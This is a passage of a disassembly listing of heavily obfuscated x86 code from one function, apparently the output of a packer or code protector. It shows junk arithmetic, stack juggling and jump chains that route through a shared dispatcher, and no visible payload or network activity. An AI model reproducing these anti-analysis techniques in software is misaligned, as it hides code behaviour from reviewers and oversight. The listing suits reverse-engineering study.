		push	ecx
		mov	ecx, 3D02ECD1h
		mov	esi, ecx
		push	[esp+48h+var_4A+2]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4Ch+var_4E+2]
		pop	esp
		push	48DCh
		mov	[esp+4Ch+var_4E+2], edi
		mov	edi, 3DF8233Ah
		push	ebx
		mov	ebx, 5A2F6006h
		xor	edi, ebx
		jmp	loc_596570
; ---------------------------------------------------------------------------


loc_599684:				; CODE XREF: sub_58A891+D421j
		mov	dh, cl
		not	dh
		mov	cl, dh
		pop	edx
		push	ecx
		not	byte ptr [esp+8+var_8]
		pop	ecx
		add	cl, 0CFh
		add	bl, cl
		pop	ecx
		sub	bl, al
		push	edx
		mov	dl, 3
		jmp	loc_5945B3
; ---------------------------------------------------------------------------


loc_5996A0:				; CODE XREF: sub_58A891+5675j
		add	eax, edx
		add	eax, 620D27E8h
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		add	eax, 2
		push	eax
		jmp	loc_590DE4
; ---------------------------------------------------------------------------


loc_5996B6:				; CODE XREF: sub_58A891+7773j
		mov	[esp+64h+var_64], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_591189
; ---------------------------------------------------------------------------


loc_5996C6:				; CODE XREF: sub_58A891+8944j
		jmp	loc_59007C
; ---------------------------------------------------------------------------


loc_5996CB:				; CODE XREF: sub_58A891:loc_594C5Ej
		shl	edx, 7
		jns	loc_597939
		add	edx, 573F64BAh
		jnp	loc_598508
		add	edx, 0F78AD564h
		mov	esi, edx
		pop	edx
		push	esi
		xor	[esp+10h+var_10], 561C39C0h
		pop	ecx
		xor	ecx, 561C39C0h
		pop	esi
		add	edi, ecx
		jmp	loc_5959DE
; ---------------------------------------------------------------------------


loc_599700:				; CODE XREF: sub_58A891+707Bj
		jnz	loc_593C1B
		shr	edi, 5
		sub	edi, 48AF26E1h
		mov	dh, 0C9h


loc_599711:				; CODE XREF: sub_58A891+A67Bj
		add	dh, 54h
		jmp	loc_5951A7
; ---------------------------------------------------------------------------


loc_599719:				; CODE XREF: sub_58A891+6703j
		mov	ebp, esp
		push	edi
		mov	edi, 60B80178h
		jmp	loc_58E7BC
; ---------------------------------------------------------------------------


loc_599726:				; CODE XREF: sub_58A891+DD4Aj
		jge	loc_59730B
		xor	ebx, 691F7079h
		push	edx
		mov	edx, ebx
		mov	edi, edx
		pop	edx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		mov	ebp, 0D5C2BEDBh
		add	ebp, edi
		mov	edi, [esp+10h+var_10]
		jmp	loc_591CBD
; ---------------------------------------------------------------------------


loc_59974D:				; CODE XREF: sub_58A891+101A4j
		sub	al, 0E8h
		mov	dx, word ptr [esp+10h+var_10]
		add	esp, 2
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		mov	bh, 27h
		xor	bh, ah
		xor	ah, bh
		xor	bh, ah
		push	cx
		push	ebx
		mov	bh, ah
		mov	ch, bh
		pop	ebx
		not	ch
		jmp	loc_59478C
; ---------------------------------------------------------------------------


loc_599773:				; CODE XREF: sub_58A891+7682j
					; sub_58A891+AC81j
		xchg	eax, [edi+24h]


loc_599776:				; CODE XREF: sub_58A891+6C24j
		push	ebx
		jmp	loc_595F6D
; ---------------------------------------------------------------------------


loc_59977C:				; CODE XREF: sub_58A891+D069j
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 299801FDh
		sub	edx, 299801F9h
		add	edi, edx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		sub	edi, 3578088Eh
		add	edi, ebx
		add	edi, 3578088Eh
		pop	ebx
		push	edi
		push	[esp+14h+var_10]
		jmp	loc_5991E5
; ---------------------------------------------------------------------------


loc_5997B6:				; CODE XREF: sub_58A891+7479j
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		jmp	loc_591448
; ---------------------------------------------------------------------------


loc_5997CD:				; CODE XREF: sub_58A891+1112Fj
		shl	ecx, 5
		jnz	loc_59B5B6
		add	ecx, 21466CC4h
		push	ecx
		jp	loc_590A97


loc_5997E3:				; DATA XREF: sub_58A891+3A0Bo
		mov	cx, word ptr [esp+14h+var_14]
		jmp	loc_58E5E2
; ---------------------------------------------------------------------------


loc_5997EC:				; CODE XREF: sub_58A891+52BCj
					; sub_58A891+D1CEj
		pop	ecx
		pop	dword ptr [esp+0]
		jmp	loc_594E2B
; ---------------------------------------------------------------------------


loc_5997F5:				; CODE XREF: sub_58A891+8ED8j
		mov	esp, [esp+58h+var_58]
		mov	[esp+58h+var_58], eax
		jmp	loc_58F39F
; ---------------------------------------------------------------------------


loc_599800:				; CODE XREF: sub_58A891+C352j
		xor	ecx, 0FEAABF6Ah
		jmp	loc_599E66
; ---------------------------------------------------------------------------


loc_59980B:				; CODE XREF: sub_58A891+8E29j
		pop	ebx
		pop	ebp
		push	7BDAh
		jmp	loc_58E8C5
; ---------------------------------------------------------------------------


loc_599817:				; CODE XREF: sub_58A891+8879j
		sub	eax, 39824F62h
		add	eax, 2F3622FEh
		add	eax, 343F06F4h
		sub	eax, ebx
		sub	eax, 343F06F4h
		sub	eax, 2F3622FEh
		push	ecx
		mov	ecx, 55C03A6Eh
		sub	esp, 4
		mov	[esp+40h+var_40], esi
		push	ebx
		mov	ebx, 518A4A77h
		jmp	loc_59133B
; ---------------------------------------------------------------------------


loc_599849:				; CODE XREF: sub_58A891+A435j
		add	edi, ecx
		jmp	loc_58EB23
; ---------------------------------------------------------------------------


loc_599850:				; CODE XREF: sub_58A891+4A2Dj
		not	edx
		sub	edx, 0E190FBA4h
		mov	ebx, edx
		pop	edx
		sub	ebx, 68790108h
		jmp	loc_59747A
; ---------------------------------------------------------------------------


loc_599866:				; CODE XREF: sub_58A891+4E62j
		sub	eax, ebp
		pop	ebp
		pop	ebp
		jmp	loc_591990
; ---------------------------------------------------------------------------


loc_59986F:				; CODE XREF: sub_58A891+9E92j
		mov	esp, [esp+4Ch+var_4E+2]
		jmp	loc_5929DD
; ---------------------------------------------------------------------------


loc_599877:				; CODE XREF: sub_58A891+8F33j
		add	esp, 4
		not	eax
		jmp	loc_594A0C
; ---------------------------------------------------------------------------


loc_599884:				; CODE XREF: sub_58A891+4125j
		push	ebx
		mov	bl, 8
		sub	bl, 51h
		jmp	loc_591F03
; ---------------------------------------------------------------------------


loc_59988F:				; CODE XREF: sub_58A891+B93Ej
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 267E2193h
		or	esi, 63C35FEAh
		ja	loc_590749
		inc	esi
		jz	loc_599AB0
		push	ebx
		mov	ebx, 6F5261CCh
		or	al, 35h


loc_5998B3:				; CODE XREF: sub_58A891+E558j
					; DATA XREF: sub_58A891+3BDFo
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+5Eh+var_60+2], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5998C1:				; CODE XREF: sub_58A891+F4C4j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5998C6:				; CODE XREF: sub_58A891+51C6j
		push	edx
		push	4B356646h
		jmp	loc_590B24
; ---------------------------------------------------------------------------


loc_5998D1:				; CODE XREF: sub_58A891+9B77j
		shr	ecx, 2
		jmp	loc_59A4D3
; ---------------------------------------------------------------------------


loc_5998D9:				; CODE XREF: sub_58A891+D286j
		add	ch, 37h
		jmp	loc_58E9BB
; ---------------------------------------------------------------------------


loc_5998E1:				; CODE XREF: sub_58A891+6ECAj
		add	ecx, 570C6F42h
		not	ecx
		xor	ecx, 3B7A701Ch
		sub	ecx, 1
		push	3BFEh
		mov	[esp+0Ch+var_C], edi
		mov	edi, 38423E7Bh
		xor	ecx, edi
		pop	edi
		xor	esi, ecx
		jmp	loc_58EDB5
; ---------------------------------------------------------------------------


loc_59990C:				; CODE XREF: sub_58A891+CC82j
		push	eax
		mov	eax, 6B57568Bh
		mov	edx, 79399D0Dh
		xor	edx, eax
		pop	eax
		add	edi, edx
		jmp	loc_5938C9
; ---------------------------------------------------------------------------


loc_599921:				; CODE XREF: sub_58A891+70B7j
		mov	eax, [esp-0Ch+arg_4]
		add	esp, 4
		shl	edx, 4
		dec	edx
		shl	edx, 5
		sub	edx, 0C7F59E0h
		and	eax, edx
		mov	edx, [esp-10h+arg_8]
		add	esp, 4
		or	eax, eax
		jz	loc_5960A1
		push	eax
		jmp	loc_59B86E
; ---------------------------------------------------------------------------
word_59994A	dw 4ACh			; DATA XREF: sub_58A891+3C0Fo
		dd 0E7B252F3h, 807AC280h, 0E28072CAh, 2EC81C0h,	66000000h
		dd 0B1240C89h, 66CA2896h, 65F28059h, 0FFC6A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599971:				; CODE XREF: sub_58A891+47E6j
		mov	[esp+2Ch+var_2C], edi
		mov	edi, 1C8E08A4h
		add	eax, edi
		mov	edi, [esp+2Ch+var_2C]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+30h+var_30]
		pop	esp
		sub	eax, 6B592829h
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		jmp	loc_594A51
; ---------------------------------------------------------------------------


loc_59999F:				; CODE XREF: sub_58A891+706Dj
		xchg	eax, [esp+48h+var_4A+2]
		pop	ecx
		shr	ecx, 3
		push	edi
		jmp	loc_59842D
; ---------------------------------------------------------------------------


loc_5999AC:				; CODE XREF: sub_58A891+10E9Ej
		push	esi
		mov	esi, 3E6B7DBCh
		add	esi, 1
		add	esi, 1
		not	esi
		neg	esi
		sub	esi, 3E6B7DBBh
		sub	eax, 85275E6h
		add	eax, esi
		jmp	loc_58EC6D
; ---------------------------------------------------------------------------


loc_5999D1:				; DATA XREF: sub_58A891+3BABo
		mov	cx, word ptr [esp+8+var_8]
		push	edi
		jmp	loc_5947A5
; ---------------------------------------------------------------------------


loc_5999DB:				; CODE XREF: sub_58A891+A9F2j
		mov	ebx, [esp+30h+var_30]
		jmp	loc_5908A2
; ---------------------------------------------------------------------------


loc_5999E3:				; CODE XREF: sub_58A891+EC97j
		add	edx, 485F54CCh
		neg	edx
		sub	edx, 1BAC7248h
		add	edx, 6E5EAC3Ah
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		jmp	loc_5927FF
; ---------------------------------------------------------------------------


loc_599A06:				; CODE XREF: sub_58A891+A505j
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	edx
		jmp	loc_58F20B
; ---------------------------------------------------------------------------


loc_599A16:				; CODE XREF: sub_58A891+10E2Bj
		push	edx
		mov	dh, 0F2h
		add	dh, 0D2h
		push	ecx
		mov	ch, dh
		jmp	loc_58F767
; ---------------------------------------------------------------------------


loc_599A24:				; CODE XREF: sub_58A891+4732j
		pop	ax
		sub	bp, 7FDAh
		jbe	loc_59A044
		sub	bp, 2E20h
		jmp	loc_59B71E
; ---------------------------------------------------------------------------


loc_599A3B:				; CODE XREF: sub_58A891+487Ej
		shl	edx, 2
		push	eax
		mov	eax, 0D2D0FDFDh
		sub	edx, eax
		pop	eax
		xor	ecx, edx
		mov	edx, [esp+30h+var_30]
		jmp	loc_592AD3
; ---------------------------------------------------------------------------


loc_599A51:				; CODE XREF: sub_58A891+8910j
					; sub_58A891+10A1Bj
		push	5008h
		mov	[esp+28h+var_28], ebp
		jmp	loc_58EAF5
; ---------------------------------------------------------------------------


loc_599A5E:				; CODE XREF: sub_58A891+BE53j
		sub	ebp, ebx
		pop	ebx
		sub	eax, ebp
		jmp	loc_597BDB
; ---------------------------------------------------------------------------


loc_599A68:				; CODE XREF: sub_58A891+B156j
		push	esp
		jmp	loc_59AD94
; ---------------------------------------------------------------------------


loc_599A6E:				; CODE XREF: sub_58A891+C559j
		xor	edi, 3D513C7h
		add	ebx, edi
		jmp	loc_591597
; ---------------------------------------------------------------------------


loc_599A7B:				; CODE XREF: sub_58A891:loc_596F80j
		jmp	loc_599FA0
; ---------------------------------------------------------------------------


loc_599A80:				; CODE XREF: sub_58A891+D486j
		xchg	edx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		jmp	loc_59696D
; ---------------------------------------------------------------------------


loc_599A8B:				; CODE XREF: sub_58A891+C606j
		add	bl, al
		jmp	loc_595742
; ---------------------------------------------------------------------------


loc_599A92:				; CODE XREF: sub_58A891+B2BFj
		or	edi, eax
		pop	eax
		push	esi
		push	edi
		jmp	loc_58FF24
; ---------------------------------------------------------------------------


loc_599A9C:				; CODE XREF: sub_58A891+7D3Aj
		sub	edi, 4
		xchg	edi, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 122A2024h
		jmp	loc_5920F3
; ---------------------------------------------------------------------------


loc_599AB0:				; CODE XREF: sub_58A891+6C3Aj
					; sub_58A891+F014j
		mov	esi, 3DF2755Ah
		jmp	loc_5902CD
; ---------------------------------------------------------------------------
off_599ABA	dd offset dword_58C25C+10Ch ; DATA XREF: sub_58A891+39D7o
		dw 8900h
; ---------------------------------------------------------------------------
		add	al, 24h
		jmp	loc_598D5F
; ---------------------------------------------------------------------------


loc_599AC7:				; CODE XREF: sub_58A891+10871j
		mov	cl, 86h
		add	al, 0FDh
		sub	al, cl
		push	4FFFh
		mov	[esp+40h+var_40], ebx
		mov	bl, 3
		jmp	loc_593BCE
; ---------------------------------------------------------------------------


loc_599ADC:				; CODE XREF: sub_58A891+98DFj
		sub	ecx, ebp
		jmp	loc_594855
; ---------------------------------------------------------------------------


loc_599AE3:				; CODE XREF: sub_58A891+5E5Dj
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_58F899
; ---------------------------------------------------------------------------


loc_599AF3:				; CODE XREF: sub_58A891+10E78j
		mov	edi, [esp+8+var_8]
		add	esp, 4
		and	edx, 6AD17D46h
		push	edi
		jmp	loc_5988F8
; ---------------------------------------------------------------------------


loc_599B05:				; CODE XREF: sub_58A891+EA15j
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 20h
		add	edx, 64096092h
		add	edx, edi
		sub	edx, 64096092h
		push	7B53h
		mov	[esp+20h+var_20], eax
		jmp	loc_5954F2
; ---------------------------------------------------------------------------


loc_599B28:				; CODE XREF: sub_58A891+E362j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_59A0AF
; ---------------------------------------------------------------------------


loc_599B34:				; CODE XREF: sub_58A891+987Ej
		pop	ebp
		jmp	loc_596757
; ---------------------------------------------------------------------------


loc_599B3A:				; CODE XREF: sub_58A891+C00Cj
		xor	eax, ebp
		pop	ebp
		jmp	loc_5964DC
; ---------------------------------------------------------------------------


loc_599B42:				; CODE XREF: sub_58A891+6396j
		add	edx, 712D3569h
		jl	loc_59A6E1
		sub	edx, 929BE4C7h
		mov	esi, edx
		jmp	loc_597FD7
; ---------------------------------------------------------------------------


loc_599B5B:				; CODE XREF: sub_58A891+5CDBj
		xchg	ebp, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		mov	[esp+38h+var_38], esp
		add	[esp+38h+var_38], 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599B70:				; CODE XREF: sub_58A891+4837j
		pop	ecx
		sub	ebx, 57991BA1h
		add	edi, ebx
		pop	ebx
		jmp	loc_590CD0
; ---------------------------------------------------------------------------


loc_599B7F:				; CODE XREF: sub_58A891+CB56j
		dec	ch
		jge	loc_598E32
		shr	ch, 3
		jmp	loc_59006A
; ---------------------------------------------------------------------------


loc_599B8F:				; CODE XREF: sub_58A891+108F5j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-8+arg_0], edi
		mov	edi, 6C7423CAh
		or	edi, 3C6B6645h
		not	edi
		add	edi, 0C066153h
		xchg	esi, edi
		dec	esi
		push	edi
		jmp	loc_59497C
; ---------------------------------------------------------------------------


loc_599BBB:				; CODE XREF: sub_58A891+8DA4j
					; sub_58A891:loc_59403Bj
		xor	ecx, 44F368D6h
		push	ecx
		sub	[esp+12h+var_14+2], 519B5484h
		jmp	loc_58F6D4
; ---------------------------------------------------------------------------


loc_599BCE:				; CODE XREF: sub_58A891+446Fj
		add	eax, 4
		jmp	loc_593AEB
; ---------------------------------------------------------------------------


loc_599BD8:				; CODE XREF: sub_58A891+F3DAj
		mov	[eax], cl
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599BE8:				; CODE XREF: sub_58A891+6D01j
		shr	ecx, 1
		jnz	loc_593E87
		dec	ecx
		and	ecx, 6B0C7CC7h
		jmp	loc_594DB6
; ---------------------------------------------------------------------------


loc_599BFC:				; CODE XREF: sub_58A891+6099j
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_592F52
; ---------------------------------------------------------------------------


loc_599C0B:				; CODE XREF: sub_58A891+850Ej
		mov	ecx, 0EA333B5h
		push	162Ch
		mov	[esp+14h+var_14], ebp
		push	edi
		jmp	loc_593D67
; ---------------------------------------------------------------------------


loc_599C1E:				; CODE XREF: sub_58A891+B9A7j
		mov	[esp+0], ebx
		mov	bl, 70h
		push	cx
		jmp	loc_58E763
; ---------------------------------------------------------------------------


loc_599C2A:				; CODE XREF: sub_58A891+4A8Fj
					; sub_58A891+E83Aj
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], edx
		jmp	loc_5918A6
; ---------------------------------------------------------------------------


loc_599C35:				; CODE XREF: sub_58A891+10028j
		mov	[esp+30h+var_30], ecx
		push	ebx
		push	edi
		mov	edi, 1B359D2h
		jmp	loc_5982D7
; ---------------------------------------------------------------------------


loc_599C44:				; CODE XREF: sub_58A891+AFB3j
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59411F
; ---------------------------------------------------------------------------


loc_599C4D:				; CODE XREF: sub_58A891+108A3j
		inc	esi
		shl	esi, 1
		add	esi, 959B6918h
		add	ebx, 780E4D77h
		add	ebx, esi
		jmp	loc_5946C5
; ---------------------------------------------------------------------------


loc_599C63:				; CODE XREF: sub_58A891+1125Fj
		push	[esp+1Ch+var_1C]
		pop	ebx
		add	esp, 4
		pop	eax
		jmp	loc_599BD8
; ---------------------------------------------------------------------------


loc_599C70:				; CODE XREF: sub_58A891+C759j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		pop	ecx
		jmp	loc_5939EE
; ---------------------------------------------------------------------------


loc_599C7F:				; CODE XREF: sub_58A891+8228j
		dec	edx
		jmp	loc_5962AA
; ---------------------------------------------------------------------------


loc_599C85:				; CODE XREF: sub_58A891+6173j
		sub	ebp, 6AFF38B6h
		pop	eax
		dec	ebp
		sub	ebp, 0FF3B2AFBh
		add	ebx, 3304A0Ah
		add	ebx, ebp
		sub	ebx, 3304A0Ah
		pop	ebp
		jmp	loc_595C2B
; ---------------------------------------------------------------------------


loc_599CA7:				; CODE XREF: sub_58A891+632Aj
					; sub_58A891+CA15j
		mov	edi, 4BD64C43h
		mov	ebp, 0B429B3BFh
		add	ebp, edi
		pop	edi
		add	ebx, ebp
		pop	ebp
		jmp	loc_594BDB
; ---------------------------------------------------------------------------


loc_599CBC:				; CODE XREF: sub_58A891+D46Dj
		push	eax
		xor	[esp+0Ch+var_C], 3CCB63C6h
		pop	edx
		jmp	loc_59AFB7
; ---------------------------------------------------------------------------
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_592255
; ---------------------------------------------------------------------------


loc_599CE9:				; CODE XREF: sub_58A891+FDDDj
		pop	ecx
		jmp	loc_590C1C
; ---------------------------------------------------------------------------


loc_599CEF:				; CODE XREF: sub_58A891+47ACj
					; sub_58A891+9C9Aj
		inc	ebx
		jmp	loc_58EDF3
; ---------------------------------------------------------------------------


loc_599CF5:				; CODE XREF: sub_58A891+88FDj
		add	esi, 3DFF3406h
		jnz	loc_5947B2
		dec	esi
		jmp	loc_5921C9
; ---------------------------------------------------------------------------
		add	esp, 4
		push	eax


loc_599D0B:				; CODE XREF: sub_58A891+B897j
		pop	ebx
		push	ebx
		pop	ecx
		pop	ebx
		neg	ecx
		add	ecx, 1
		dec	ecx
		shr	ecx, 3
		push	edx
		push	ebp
		push	79804787h
		pop	ebp
		xor	ebp, 680AB306h
		mov	edx, ebp
		jmp	loc_597981
; ---------------------------------------------------------------------------


loc_599D2D:				; CODE XREF: sub_58A891+CA57j
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], ecx
		xor	ecx, [esp+48h+var_4A+2]
		pop	esp
		jmp	loc_5982BA
; ---------------------------------------------------------------------------


loc_599D4B:				; CODE XREF: sub_58A891+9B07j
					; sub_58A891+10462j
		pop	ecx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5998C1
; ---------------------------------------------------------------------------


loc_599D5A:				; CODE XREF: sub_58A891+874Fj
		sub	eax, ecx
		pop	ecx
		add	eax, 4F2700F5h
		sub	eax, ebx
		sub	eax, 4F2700F5h
		push	edx
		mov	edx, 3F6075AFh
		jmp	loc_599FD3
; ---------------------------------------------------------------------------


loc_599D74:				; CODE XREF: sub_58A891+5822j
		push	ecx
		push	[esp+18h+var_14]
		pop	ecx
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_58FFC9
; ---------------------------------------------------------------------------


loc_599D85:				; CODE XREF: sub_58A891+6820j
					; sub_58A891+AC7Aj
		sub	ecx, 0E4803A9h
		jmp	loc_59AE5A
; ---------------------------------------------------------------------------


loc_599D90:				; CODE XREF: sub_58A891+46FCj
		neg	ebx
		jle	loc_59742F
		shr	ebx, 8
		jnz	loc_5974D0
		jmp	loc_59B388
; ---------------------------------------------------------------------------


loc_599DA6:				; CODE XREF: sub_58A891+CB67j
		jmp	loc_597ED0
; ---------------------------------------------------------------------------


loc_599DAB:				; CODE XREF: sub_58A891+8098j
		xor	eax, [esp+34h+var_34]
		xor	[esp+34h+var_34], eax
		xor	eax, [esp+34h+var_34]
		pop	esp
		btr	word ptr [esp+30h+var_30], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599DC0:				; DATA XREF: sub_58A891+3AB3o
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_590AB5
; ---------------------------------------------------------------------------


loc_599DCB:				; CODE XREF: sub_58A891+E9F7j
		add	ecx, 27C612C5h
		pop	edx
		sub	ecx, edx
		jmp	loc_596777
; ---------------------------------------------------------------------------


loc_599DD9:				; CODE XREF: sub_58A891+DEC6j
		add	ecx, 34380828h
		add	ecx, 59CD7579h
		add	ecx, edi
		sub	ecx, 59CD7579h
		sub	ecx, 34380828h
		pop	edi
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-10h+arg_8], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp-10h+arg_8]
		jmp	loc_58FB35
; ---------------------------------------------------------------------------


loc_599E10:				; CODE XREF: sub_58A891+6152j
		pop	esi
		push	0A78h
		mov	[esp+4Ch+var_4E+2], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_599255
; ---------------------------------------------------------------------------


loc_599E2E:				; CODE XREF: sub_58A891+F7DCj
		pop	dword ptr [esp+0]
		mov	esp, [esp+4Ch+var_4E+2]
		mul	cx
		sub	esp, 4
		jmp	loc_5959E4
; ---------------------------------------------------------------------------


loc_599E42:				; CODE XREF: sub_58A891+C65Dj
		mov	eax, 249A559Ch
		sub	edi, eax
		pop	eax
		sub	edi, esi
		add	edi, 249A559Ch
		mov	esi, [esp+22h+var_24+2]
		add	esp, 4
		pop	ebx
		add	edi, ebp
		jmp	loc_5917CA
; ---------------------------------------------------------------------------


loc_599E60:				; CODE XREF: sub_58A891+8341j
		push	edi
		jmp	loc_597714
; ---------------------------------------------------------------------------


loc_599E66:				; CODE XREF: sub_58A891+CAB7j
					; sub_58A891+EF75j
		mov	ch, 3Fh
		add	ch, 0CAh
		jmp	loc_5977BE
; ---------------------------------------------------------------------------


loc_599E70:				; CODE XREF: sub_58A891+B395j
		add	esp, 4
		sub	bl, al
		add	bl, 43h
		sub	bl, 0DCh
		sub	bl, 8Fh
		jmp	loc_58EA53
; ---------------------------------------------------------------------------


loc_599E83:				; CODE XREF: sub_58A891+7149j
		mov	esi, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_597DD7
; ---------------------------------------------------------------------------


loc_599E93:				; CODE XREF: sub_58A891+6DC5j
		sub	eax, 5EC818FDh
		jmp	loc_58F374
; ---------------------------------------------------------------------------


loc_599E9D:				; CODE XREF: sub_58A891+FD84j
		add	eax, 2
		xchg	eax, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_5981A9
; ---------------------------------------------------------------------------


loc_599EAD:				; CODE XREF: sub_58A891+6FE2j
		sub	edx, 0D957CB91h
		mov	edi, edx
		pop	edx
		shr	edi, 2
		dec	edi
		or	edi, 2DD86F8Eh
		and	edi, 4F18223Ah
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		not	edx
		xchg	edx, edi
		jmp	loc_594916
; ---------------------------------------------------------------------------


loc_599ED5:				; CODE XREF: sub_58A891+7548j
		add	eax, 2B86445Ah
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599EE9:				; CODE XREF: sub_58A891+B48Dj
		sub	esi, 0FBFFDFB7h
		jmp	loc_598ECD
; ---------------------------------------------------------------------------


loc_599EF4:				; CODE XREF: sub_58A891+81EFj
		mov	eax, esp
		jmp	loc_59644F
; ---------------------------------------------------------------------------


loc_599EFB:				; CODE XREF: sub_58A891+A141j
		mov	ebx, 519E7EC3h
		mov	eax, 0D2AA8E8h
		add	eax, ebx
		pop	ebx
		add	eax, 0CD0CE2CDh
		and	esi, eax
		pop	eax
		push	edi
		mov	edi, 6AE00605h
		and	esi, edi
		jmp	loc_5924D5
; ---------------------------------------------------------------------------


loc_599F1D:				; CODE XREF: sub_58A891+6A7Dj
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_591977
; ---------------------------------------------------------------------------


loc_599F25:				; CODE XREF: sub_58A891+8E7Dj
		sub	esi, 0FC27F93Fh
		jmp	$+5
		mov	eax, esi
		pop	esi
		dec	eax
		and	eax, 2B7A704Bh
		shr	eax, 7
		jmp	loc_5980FD
; ---------------------------------------------------------------------------


loc_599F41:				; CODE XREF: sub_58A891+AB6Ej
		add	edi, 4
		jmp	loc_596EF3
; ---------------------------------------------------------------------------


loc_599F4C:				; CODE XREF: sub_58A891+99E7j
		push	esp
		pop	ebp
		push	edi
		push	11EFh
		mov	[esp+14h+var_14], edx
		mov	edx, 4
		push	edx
		jmp	loc_59B895
; ---------------------------------------------------------------------------


loc_599F62:				; CODE XREF: sub_58A891+10DEAj
		push	edi
		push	ebp
		jmp	loc_590B69
; ---------------------------------------------------------------------------


loc_599F69:				; CODE XREF: sub_58A891+CE6Cj
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_591B4C
; ---------------------------------------------------------------------------


loc_599F72:				; CODE XREF: sub_58A891+6E69j
		xor	ah, cl
		jmp	loc_594C6E
; ---------------------------------------------------------------------------


loc_599F79:				; CODE XREF: sub_58A891+D5A6j
		pop	eax
		inc	ebx
		push	eax
		jmp	loc_5994B2
; ---------------------------------------------------------------------------


loc_599F81:				; CODE XREF: sub_58A891+4BE3j
		pop	eax
		push	75FCh
		mov	[esp+48h+var_4A+2], ecx
		jmp	loc_59198A
; ---------------------------------------------------------------------------


loc_599F8F:				; CODE XREF: sub_58A891+8713j
		sub	al, dl
		sub	al, 0F5h
		pop	dx
		sub	al, 0FCh
		add	al, 8Dh
		sub	al, ch
		jmp	loc_595960
; ---------------------------------------------------------------------------


loc_599FA0:				; CODE XREF: sub_58A891:loc_599A7Bj
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	dl, 51h
		jmp	loc_5941F3
; ---------------------------------------------------------------------------


loc_599FB0:				; CODE XREF: sub_58A891+6294j
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		mov	edi, 0A9963E0h
		dec	edi
		inc	edi
		jmp	loc_594367
; ---------------------------------------------------------------------------


loc_599FC5:				; CODE XREF: sub_58A891+7B6Aj
		push	2367h
		mov	[esp+34h+var_34], eax
		push	esp
		jmp	loc_5937E8
; ---------------------------------------------------------------------------


loc_599FD3:				; CODE XREF: sub_58A891+F4DEj
		add	eax, edx
		pop	edx
		jmp	loc_59B338
; ---------------------------------------------------------------------------


loc_599FDB:				; CODE XREF: sub_58A891+93B9j
		push	edx
		jmp	loc_59376E
; ---------------------------------------------------------------------------


loc_599FE1:				; CODE XREF: sub_58A891+765Cj
		add	esp, 4
		add	ebx, edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 5EA60EA0h
		sub	ebx, esi
		pop	esi
		mov	[ebx], dl
		pop	ebx
		push	dword ptr [esp+0]
		jmp	loc_5942DD
; ---------------------------------------------------------------------------


loc_599FFF:				; CODE XREF: sub_58A891+ACCDj
		jb	loc_59A35D
		and	ebp, 55E93552h
		sub	ebp, 50D2279Fh
		jg	loc_592CC9
		jmp	loc_593861
